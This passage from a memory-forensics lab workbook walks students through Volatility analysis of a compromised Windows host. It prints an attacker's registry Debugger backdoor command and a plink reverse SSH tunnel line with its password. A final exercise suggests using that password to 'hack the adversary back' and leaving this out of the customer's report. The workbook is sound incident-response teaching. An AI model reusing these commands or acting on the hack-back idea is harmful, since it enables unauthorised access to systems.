New-ItemProperty -Path $path -Name "Debugger" -PropertyType
String -Value "C:\windows\system32\cmd.exe" -Force
```

c) If you aren't familiar with the backdoor technique used, perform some open-source research, and determine what types of risks are posed by the successful installation of the backdoor.

One technique is called a **Sticky Keys Authentication Bypass**, the other is a **Malicious Service Installation**.

Document your findings.

Exercise 6: Verify the Command & Control

During the analysis of the packet capture, you were able to identify the malicious host that was conducting the command and control (C2), however it's important to be able to confirm the origin and type of this activity, depending on what's still available within the memory image.

You believe that it was the intention of the adversary to establish a remote graphical interactive session to the host, however you're unsure how this was achieved considering the victim's host was not reachable from the Internet; it was assigned a private IP address and was sitting behind a masquerading NAT gateway.

Leveraging your forensic findings so far (from Exercises 1 and 2) attempt to verify your hypothesis, further explaining how the adversary was able to achieve their objective.

1. What was the remote IP address and port used to connect to this host?
2. Was the adversary able to successfully establish an RDP session?
   - If so, what time did it start?
   - How much access did the adversary have once authenticated via RDP?
   - Which user account was used?

> ▼ **Hint**
>
> Consider using the vol2.py `pstree` command if appropriate.

▼ **Hint**

Consider using the vol2.py `cmdline` command if appropriate.

▼ **Hint**

Consider using the vol2.py `netscan` command if appropriate.

▼ **Hint**

Consider using the vol2.py `sessions` command if appropriate.

▼ **Hint**

If you need more ideas, refer to this volatility cheat sheet.

▼ **Solution**

▼ **pstree**

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 pstree
Name                                                  Pid
PPid   Thds   Hnds Time
...
. 0xffff9b01d570f080:services.exe                     604
468      9      0 2019-07-13 14:44:31 UTC+0000
.. 0xffff9b01d7bb2540:notepadz.exe                   8816
604      0 ------ 2019-07-13 15:02:06 UTC+0000
... 0xffff9b01d74c8080:cmd.exe                       8728
8816      1      0 2019-07-13 15:02:06 UTC+0000
.... 0xffff9b01d7dcd080:conhost.exe                  8960
8728      3      0 2019-07-13 15:02:06 UTC+0000
.... 0xffff9b01d28b5540:plink.exe                    7320
8728      4      0 2019-07-13 15:19:23 UTC+0000
.. 0xffff9b01d5f172c0:svchost.exe                     680
604     33      0 2019-07-13 14:44:34 UTC+0000
... 0xffff9b01d8319540:rdpclip.exe                   3564
680      9      0 2019-07-13 15:22:42 UTC+0000
.. 0xffff9b01d762c080:explorer.exe                   4408
5100     94      0 2019-07-13 15:22:43 UTC+0000
... 0xffff9b01d7550080:cmd.exe                       4908
4408      1      0 2019-07-13 15:24:24 UTC+0000
...
```

It's interesting that `notepadz` is misspelled in the first instance, but it

also launches `cmd.exe` and `plink.exe`. The fact `rdpclip.exe` is running is also interesting; this usually indicates a remote desktop (RDP) connection.

The fact `explorer.exe` started *after* anything else is strange; it usually starts when the operating system boots and a user logs in. Even worse that it spawned another `cmd.exe` process. Curious.

▾ cmdline

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 cmdline -p 7320
Volatility Foundation Volatility Framework 2.6.1
**************************************************************************
plink.exe pid:   7320
Command line : .\plink.exe  10.1.0.2 -P 22 -C -R
127.0.0.1:12345:10.2.0.2:3389 -l root
```

Well that's not good. This `plink.exe` file has spawned what looks ike a reverse shell, likely giving the attacker a foothold in the network on `10.2.0.2` via SSH (port 22) on port 3389 (RDP).

▾ netscan

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 netscan | grep '10.2.0.2'
Volatility Foundation Volatility Framework 2.6.1
0x9b01d20cd010  TCPv4  10.2.0.2:59814  52.229.207.60:443
CLOSED      -1          3884-06-03 12:01:29 UTC+0000
0x9b01d29a5410  TCPv4  10.2.0.2:65300  216.58.196.129:443
CLOSED      -1          3884-06-03 12:01:29 UTC+0000
0x9b01d57d87e0  TCPv4  10.2.0.2:50280  54.245.231.161:443
CLOSED      -1          3884-06-03 12:01:29 UTC+0000
0x9b01d5f59b20  TCPv4  10.2.0.2:59817  52.229.207.60:443
ESTABLISHED -1          3884-06-03 12:01:29 UTC+0000
0x9b01d737f980  UDPv4  10.2.0.2:50784  *:*          6192
svchost.exe 2019-07-13 15:23:44 UTC+0000
0x9b01d737fd70  UDPv4  10.2.0.2:1900   *:*          6192
svchost.exe 2019-07-13 14:45:07 UTC+0000
0x9b01d800c270  TCPv4  10.2.0.2:59810  52.184.81.54:443
CLOSED      -1          3884-06-03 12:01:31 UTC+0000
0xf8067c588270  TCPv4  10.2.0.2:59810  52.184.81.54:443
CLOSED      -1          3884-06-03 12:01:31 UTC+0000
```

We know from our previous analysis that `10.2.0.2` is being used by our adversary. Looking at the network connections in memory, we can see there are multiple `CLOSED` connections from that system to external IPs, and one that was still `ESTABLISHED` when the memory image was taken.

▼ **sessions**

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 sessions
Volatility Foundation Volatility Framework 2.6.1
...
 Process: 8816 notepadz.exe 2019-07-13 15:02:06 UTC+0000
 Process: 8728 cmd.exe      2019-07-13 15:02:06 UTC+0000
 Process: 8960 conhost.exe  2019-07-13 15:02:06 UTC+0000
 Process: 7320 plink.exe    2019-07-13 15:19:23 UTC+0000
 Process: 3564 rdpclip.exe  2019-07-13 15:22:42 UTC+0000
 Process: 4908 cmd.exe      2019-07-13 15:24:24 UTC+0000
 Process: 2100 conhost.exe  2019-07-13 15:24:24 UTC+0000
...
```

Not a lot of additional value here, this just corroborates what we already know.

▼ **getsids**

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 getsids -p
8816,8728,7320,3564,4408,4908
Volatility Foundation Volatility Framework 2.6.1
notepadz.exe (8816): S-1-5-18 (Local System)
notepadz.exe (8816): S-1-5-32-544 (Administrators)
notepadz.exe (8816): S-1-1-0 (Everyone)
notepadz.exe (8816): S-1-5-11 (Authenticated Users)
notepadz.exe (8816): S-1-16-16384 (System Mandatory Level)
cmd.exe (8728): S-1-5-18 (Local System)
cmd.exe (8728): S-1-5-32-544 (Administrators)
cmd.exe (8728): S-1-1-0 (Everyone)
cmd.exe (8728): S-1-5-11 (Authenticated Users)
cmd.exe (8728): S-1-16-16384 (System Mandatory Level)
plink.exe (7320): S-1-5-18 (Local System)
plink.exe (7320): S-1-5-32-544 (Administrators)
plink.exe (7320): S-1-1-0 (Everyone)
plink.exe (7320): S-1-5-11 (Authenticated Users)
plink.exe (7320): S-1-16-16384 (System Mandatory Level)
rdpclip.exe (3564):
S-1-5-21-2423855938-2581495550-2013206183-1002
```

```
rdpclip.exe (3564):
S-1-5-21-2423855938-2581495550-2013206183-513 (Domain Users)
rdpclip.exe (3564): S-1-1-0 (Everyone)
rdpclip.exe (3564): S-1-5-114 (Local Account (Member of
Administrators))
rdpclip.exe (3564): S-1-5-32-545 (Users)
rdpclip.exe (3564): S-1-5-32-544 (Administrators)
rdpclip.exe (3564): S-1-5-32-555 (BUILTIN\Remote Desktop
Users)
rdpclip.exe (3564): S-1-5-14 (Remote Interactive Logon)
rdpclip.exe (3564): S-1-5-4 (Interactive)
rdpclip.exe (3564): S-1-5-11 (Authenticated Users)
rdpclip.exe (3564): S-1-5-15 (This Organization)
rdpclip.exe (3564): S-1-5-113 (Local Account)
rdpclip.exe (3564): S-1-5-5-0-12106035 (Logon Session)
rdpclip.exe (3564): S-1-2-0 (Local (Users with the ability to
log in locally))
rdpclip.exe (3564): S-1-5-64-10 (NTLM Authentication)
rdpclip.exe (3564): S-1-16-8192 (Medium Mandatory Level)
explorer.exe (4408):
S-1-5-21-2423855938-2581495550-2013206183-1002
explorer.exe (4408):
S-1-5-21-2423855938-2581495550-2013206183-513 (Domain Users)
explorer.exe (4408): S-1-1-0 (Everyone)
explorer.exe (4408): S-1-5-114 (Local Account (Member of
Administrators))
explorer.exe (4408): S-1-5-32-545 (Users)
explorer.exe (4408): S-1-5-32-544 (Administrators)
explorer.exe (4408): S-1-5-32-555 (BUILTIN\Remote Desktop
Users)
explorer.exe (4408): S-1-5-14 (Remote Interactive Logon)
explorer.exe (4408): S-1-5-4 (Interactive)
explorer.exe (4408): S-1-5-11 (Authenticated Users)
explorer.exe (4408): S-1-5-15 (This Organization)
explorer.exe (4408): S-1-5-113 (Local Account)
explorer.exe (4408): S-1-5-5-0-12106035 (Logon Session)
explorer.exe (4408): S-1-2-0 (Local (Users with the ability to
log in locally))
explorer.exe (4408): S-1-5-64-10 (NTLM Authentication)
explorer.exe (4408): S-1-16-8192 (Medium Mandatory Level)
cmd.exe (4908): S-1-5-21-2423855938-2581495550-2013206183-1002
cmd.exe (4908): S-1-5-21-2423855938-2581495550-2013206183-513
(Domain Users)
cmd.exe (4908): S-1-1-0 (Everyone)
cmd.exe (4908): S-1-5-114 (Local Account (Member of
Administrators))
cmd.exe (4908): S-1-5-32-545 (Users)
cmd.exe (4908): S-1-5-32-544 (Administrators)
cmd.exe (4908): S-1-5-32-555 (BUILTIN\Remote Desktop Users)
cmd.exe (4908): S-1-5-14 (Remote Interactive Logon)
```

```
cmd.exe (4908): S-1-5-4 (Interactive)
cmd.exe (4908): S-1-5-11 (Authenticated Users)
cmd.exe (4908): S-1-5-15 (This Organization)
cmd.exe (4908): S-1-5-113 (Local Account)
cmd.exe (4908): S-1-5-5-0-12106035 (Logon Session)
cmd.exe (4908): S-1-2-0 (Local (Users with the ability to log
in locally))
cmd.exe (4908): S-1-5-64-10 (NTLM Authentication)
cmd.exe (4908): S-1-16-12288 (High Mandatory Level)
```

Curiouser and curioser... The fact that `notepadz`, `cmd`, and `plink` are running as `Local System` is super sketchy; that's the highest possible privilege level on a Windows system. Also, `rdpclip`, `explorer`, and `cmd` have remote interactive login by a user with the local SID 1002.

▼ **envars**

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 envars -p
8816,8728,7320,3564,4408,4908
Volatility Foundation Volatility Framework 2.6.1
Pid      Process              Block              Variable
Value
-------- -------------------- ------------------
------------------------------ -----
...
    3564 rdpclip.exe          0x000001e032e30fe0 APPDATA
C:\Users\Bob\AppData\Roaming
    3564 rdpclip.exe          0x000001e032e30fe0 ComSpec
C:\Windows\system32\cmd.exe
    3564 rdpclip.exe          0x000001e032e30fe0 HOMEPATH
\Users\Bob
    3564 rdpclip.exe          0x000001e032e30fe0 LOCALAPPDATA
C:\Users\Bob\AppData\Local
    3564 rdpclip.exe          0x000001e032e30fe0 TEMP
C:\Users\Bob\AppData\Local\Temp
    3564 rdpclip.exe          0x000001e032e30fe0 TMP
C:\Users\Bob\AppData\Local\Temp
    3564 rdpclip.exe          0x000001e032e30fe0 USERNAME
Bob
    3564 rdpclip.exe          0x000001e032e30fe0 USERPROFILE
C:\Users\Bob
...
    4408 explorer.exe         0x000000000b56cb40 APPDATA
C:\Users\Bob\AppData\Roaming
    4408 explorer.exe         0x000000000b56cb40 CLIENTNAME
```

```
kali
    4408 explorer.exe         0x000000000b56cb40 ComSpec
C:\Windows\system32\cmd.exe
    4408 explorer.exe         0x000000000b56cb40 HOMEPATH
\Users\Bob
    4408 explorer.exe         0x000000000b56cb40 LOCALAPPDATA
C:\Users\Bob\AppData\Local
    4408 explorer.exe         0x000000000b56cb40 SESSIONNAME
RDP-Tcp#1
    4408 explorer.exe         0x000000000b56cb40 TEMP
C:\Users\Bob\AppData\Local\Temp
    4408 explorer.exe         0x000000000b56cb40 TMP
C:\Users\Bob\AppData\Local\Temp
    4408 explorer.exe         0x000000000b56cb40 USERNAME
Bob
    4408 explorer.exe         0x000000000b56cb40 USERPROFILE
C:\Users\Bob
...
    4908 cmd.exe              0x0000020bf9fc3710 APPDATA
C:\Users\Bob\AppData\Roaming
    4908 cmd.exe              0x0000020bf9fc3710 ComSpec
C:\Windows\system32\cmd.exe
    4908 cmd.exe              0x0000020bf9fc3710 HOMEPATH
\Users\Bob
    4908 cmd.exe              0x0000020bf9fc3710 LOCALAPPDATA
C:\Users\Bob\AppData\Local
    4908 cmd.exe              0x0000020bf9fc3710 TEMP
C:\Users\Bob\AppData\Local\Temp
    4908 cmd.exe              0x0000020bf9fc3710 TMP
C:\Users\Bob\AppData\Local\Temp
    4908 cmd.exe              0x0000020bf9fc3710 USERNAME
Bob
    4908 cmd.exe              0x0000020bf9fc3710 USERPROFILE
C:\Users\Bob
```

Cool, so more corroborating evidence in the environment variables. We can see Bob is definitely the user who got pwned (i.e. the user associated with the SID 1002), the attacker seems to be using a kali machine to RDP into Bob's computer, the session name confirms the RDP connection. Guess we should look for that mimikatz artefact we saw in the `shimcache`; this is probably where the adversary got their initial foothold and then pivoted, performing credential harvesting/password cracking, and then moving laterally within the environment.

Go look at your mft output again for evidence of mimikatz, paying attention to when it executed, and from where.

For more information and the solution, check the solution video.

▼ **Spoilers!**

1. **What was the remote IP address and port used to connect to this host?**
   - 10.1.0[.]2

2. **Was the adversary able to successfully establish an RDP session? (If so, what time did it start?)**
   - Yes - 2019-07-13 15:22:43 UTC+0000 (when the explorer.exe process kicked off)

3. **How much access did the adversary have once authenticated via RDP?**
   - Full access - Local System

4. **Which user account was used?**
   - Bob (SID 1002)

Document all your findings.

Exercise 7: Staged Secrets

The biggest question that the customer wants an answer to is: *was anything taken?*

Returning to your extracted and parsed MFT, determine what final actions on objectives the adversary conducted. Were they successful? What did they finally prepare for exfiltration?

▼ **Hint**

Use `vaddump` to export the memory pages of the processes you've identified so far.

```
analyst@forensics~$ mkdir pages; vol2.py -f memory.dmp
--profile=Win10x64_17763 vaddump -p process_id -D pages/
```

▼ **Hint**

Once you've exported the pages with `vaddump`, use `strings` to find interesting strings within:

```
analyst@forensics~$ strings -el ./pages/*
```

▼ **Solution**

For more information and the solution, check the solution video.

▼ **Spoilers!**

```
analyst@forensics~$ mkdir pages
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 vaddump -p 4908 -D pages/
analyst@forensics~$ strings -el pages/*
...
C:\Users\Bob\Desktop\x64\passwords.katz
type password.katz
...
```

Given that mimikatz was most likely run from the `cmd.exe` process we saw in the `pstree` output before, we look at the memory pages for that process. We discover that there appears to be a password file of some kind on Bob's desktop, where mimikatz was found :(

Investigate further by looking for evidence of this in your mft output. You'll find this file was created after mimikatz was executed, meaning the

> passwords were likely successfully dumped from `lsass.exe` and staged for exfiltration, or to be used for additional malicious activity.
>
> Further investigate the memory pages of the other processes we've identified and see if there's anything else of interest the client should know about.

Document all your findings.

Exercise 8: CCI - Preparing to Go Upstream

You're now reaching the end of your investigation. However, your boss has just asked you: *is there any way we could possibly disrupt the adversary?* You stop and think for a moment and wonder if there was any additional information you missed during Exercise 6.

Find the processes that the adversary used to perform interactive tasking, then, using the `vaddump` command, extract all the process resident memory pages from the memory image. Parse the memory pages (`strings` will work just fine). What did you find? Did you find a way that we could possibly hack the adversary back?

Document your findings, but this time, maybe put them in a second document. It wouldn't be a wise choice to pass on such information to the

customer.

> ▼ **Hint**
>
> The process you're looking for is one you've already identified. Investigate them using what you learned about `vaddump` and `strings` in the last exercise.

> ▼ **Solution**
>
> The process of interest to us here is the first `cmd.exe` in the `pstree` output, because that's the parent process of the `plink.exe` process:
>
> ```
> analyst@forensics~$ rm -r ./pages/*
> analyst@forensics~$ vol2.py -f memory.dmp
> --profile=Win10x64_17763 vaddump -p 8728 -D pages/
> analyst@forensics~$ strings -el pages/*
> ...
> .\plink.exe  10.1.0.2 -P 22 -C -R
> 127.0.0.1:12345:10.2.0.2:3389 -l root -pw toor
> ...
> ```
>
> When we search for `plink.exe` in the strings output, we find the entire command string, including the password the adversary used: **toor**.
>
> For more information and the solution, check the solution video.